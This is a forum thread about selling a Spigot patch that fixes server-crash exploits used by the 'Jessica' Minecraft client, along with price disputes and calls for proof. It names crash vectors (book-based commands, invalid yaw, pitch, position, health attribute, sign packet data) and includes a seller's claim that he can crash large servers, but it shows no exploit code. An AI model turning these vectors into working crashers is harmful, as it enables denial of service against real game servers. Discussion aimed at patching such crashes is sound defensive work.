Spigot Patch (class or spigot) | Anti crasher | Jessica and private exploits

[Receiver]

I've seen many people (two or three) requesting this so yeah, decided to sell this. If you want to test if it works I can give you the client or you can join my test server with it and try to crash it, just send me a pm!

This spigot patch contains a fix for four exploits that you can use to lag or crash big servers like minemen, lunar, faithful or viper.

Note: I'll be selling the java class or the spigot with the fix
2nd note: There is not a price set, I will deal the price with each user depending on their needs (somewhere around 60€)

which methods are you even trying to stop? //calc & //eval ? you should really specify also you should provide proof of ownership / code snippets

 

[longdog]

If you decide a price let me know

It's for the "Jessica" client (see title)

Basically a lot of people can't figure out how to fix it and it probably isn't that hard to fix

//EDIT: There are a couple different methods the client uses but this is one of them
General code for the crash

Spoiler: code

To even have a shot at selling plugins here you'll need:
- Code proof
- A price
- An actual description explaining what your plugin does

If you decide a price let me know

Yes, this is a method that stops all the jessica client crashes, I don't know a price but should be around 70€ or so. Also, I can't provide code proof because I would be spoiling the method to fix the crash.

 

[LillianA]

I've never even heard of the Jessica client until now. What is it exactly?

Most of it is pretty bad but it has 3 commands that crash the server with the help of books (see my above message for code to one of the commands) and people can't figure out how to patch it for some reason.

If 70€ is EURO (Just going off of google) That is way to much ~78 USD This could very easily be done for just about free.

It's a fix that works some exploits that can even crash servers like MMC or PvPTemple if you modify the client a bit

The price has been lowered to 60€

How many clients have you had buy this?

I have 2 clients that bought this (before this thread was made)

 

[UltimateIsMid]

there are literally multiple free plugins on another website that fixes this client's crasher... yet it's being sold for.. €60? daylight robbery right here

You gave no evidence to back up this claim, and yet you still decided to post it?... Wow... the ignorance.

Please stop trashing other people's threads, and can you provide any proof that these crash fixers even exist?

No there aren't

Most of these crashes are easy to fix, selling for ~$70 is outrageous.

I don't think they are easy to fix since I can crash Minemen, Lunar or Faithful

 

[manny]

Most of the notable crashes:

• health attribute
• invalid yaw
• invalid pitch
• invalid position
• sign (packet data)

All of these have been patched on most servers. I don't believe its functionality and want to see if it actually works

Update, will be selling three fixes, not just the Jessica Client one.
